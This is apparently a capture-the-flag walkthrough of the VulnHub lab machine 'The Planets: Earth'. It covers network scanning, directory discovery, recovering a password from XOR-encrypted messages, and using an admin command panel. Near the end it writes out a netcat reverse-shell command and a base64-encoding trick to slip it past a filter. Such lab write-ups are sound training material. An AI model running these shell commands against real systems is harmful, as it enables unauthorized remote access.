
THE PLANETS: EARTH

This is a box from vulnhub that is rated easy by

the author but depending on your skill level it

may also be considered as medium. The most

important thing in solving this machine is to pay

attention to details and doing recon.
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The first step is to get the IP address of our target

machine where we used a tool called netdiscover,

it is used to scan the network. To Scan the

network, I used the following command

Netdiscover –r 192.168.192.10/24

The target ip is the ip address that has the host

name of pcs systemtechnik GmbH

Note: to scan for other devices on the network

you need to first of all get your ip address by

typing in if config then using your ip address you

scan the whole subnet
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Next, I scanned the target ip 192.168.192.59 using

nmap to see what ports are open and services are

running on the target. From the results we can see

that port 22, 80 and 443 are open. We can’t do much

with port 22 because we don’t have login credentials,

port 80 and 443 all return error 400 bad request, this

is when you try to load the page using the target ip

address from port 80 (http).

On port 443 we can see that this box has two DNS

names which is earth.local and terratest.earth.local. I

added the two domains on the /etc/hosts file so that I

can be able to load the web applications.
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Navigating to http://192.168.162.59 I received an

error 400 bad request, but when I navigated to https:

192.168.162.59 and got the default web page of

fedora
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From the nmap result we saw that one of the DNS was

https://earth.local, so I had to visit the domain and I saw

it was a webpage which was a secure messaging service.

Below the message box we can see that there were

previous messages that were sent but unfortunately, they

were encrypted and the only way to decrypt the message

was using the message key.
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The next step was to see what he robots.txt file

entails, but unfortunately for this domain it didn’t

exist.
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Next, I decided to scan for hidden directories, I first

started with Nikto, which unfortunately there was no

useful information while on the other hand I had ran

dirsearch with the target ip address, but it didn’t work

hence I used the domain name earth.local to scan for

hidden directory as an alternative of the target ip

address and dirsearch found two files named /admin

and /cgi-bin.
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Checking the admin file, it was a page which had a

link to the login page. I clicked on the login link, and

I was redirected to the login page. At this point we

dont have any credentials hence we are supposed to

look for them.
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Next, we had to go and check the second domain

which was terratest.earth.local. The page was loaded,

and it was the same page of the main domain.
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I went and checked the robots.txt file and found a bunch

of extensions which were disallowed from being crawled

on this page. Looking at the last file it was called

testingnotes which was of interest to me
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Opening testingnotes.txt, there was a checklist of all the

activities that was done and supposed to be done by the

people who created this messaging system.

Reading the content, we now have the following

information

1. They are using the xor algorithm for encryption

2. The user is called terra, which we will use to login

the admin page

3. There is a file called testdata.txt which was used for

encrypting one of the previous decoded messages

Opening testdata.txt, we found a piece of text written
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After having everything in place it was time to decrypt

the old messages that we could find on the messaging

system earth.local.

I went to cyberchef website and inserted the recipe to

help me decode the old messages sent. And added XOR

and the words from testdata.txt as the key and used utf8

format for xor.

The third encrypted message was the one that could be

decoded and get the string as shown on the image. The

word eathclimatechangebad4humans was the password to

the system.
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I used the credentials terra:eathclimatechangebad4humans to

login the secure system. Once logged in, it was a page where

you can execute command lines.
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Next, was to check what commands that I could

execute in this admin tool. I started by typing ls and

the system files were listed.

It is custom for CTF challenges the user flag to be on

the home directory, so I changed directory to home

and listed the content and the was a folder called

earth, I tried access the directory, but I couldn’t do

anything because it was a rabbit hence, I had to look

for the user flags on other places
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I decided to check the var file and noticed that there was a

directory called earth_web. I cd directory to earth_web

and listed its content and I managed to get the user flag. I

cat the user flag to see the content.
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Next step is to establish a reverse tcp connection to the

server. On the attack machine I had run netcat to listen for

incoming connection on port 1234 and from the target

machine we had to send a connection request to the

attacker's machine using the following command

nc –e /bin/bash (attackers_machine_ip) 1234

Unfortunately, nothing was happening because remote

connection was not allowed from the target machine
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The solution was to encode the netcat reverse connection

(reverse shell) command for reverse connection to base64.

echo ‘nc –e /bin/bash (attackers_machine_ip) 1234’ | base64

Then on the target machine you run the following command

echo ‘base64 string’ |base64 –d | bash

What we are basically doing is telling the target to decode the

base 64 string, then pass the command to bash which is going to

execute nc –e /bin/bash (attackers_machine_ip) 1234 which is

going to be executed as a shell.

From here you will have to privilege escalate to get access to the

root account.
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Summary
----------------------------------------------------------

1. Perform nmap

2. Save the DNS on your etc/hosts file

3. Open earth.local domain on the browser

4. Check robots.txt

5. Perform directory discovery

6. Access the admin directory and login page

7. Open the subdomain terratest.earth.local

8. Check robots.txt

9. Access testingnotes.txt

10. Retrieve the username

11. Access testdata.txt

12. Decode the encoded messages

13. Get password and use it to login the admin login page with

the obtain username

14. Access the admin page and start testing for command

execution.

15. List content on the target machine and look for the user flag

16. Establish a reverse tcp connection with the target

17. Privilege escalate
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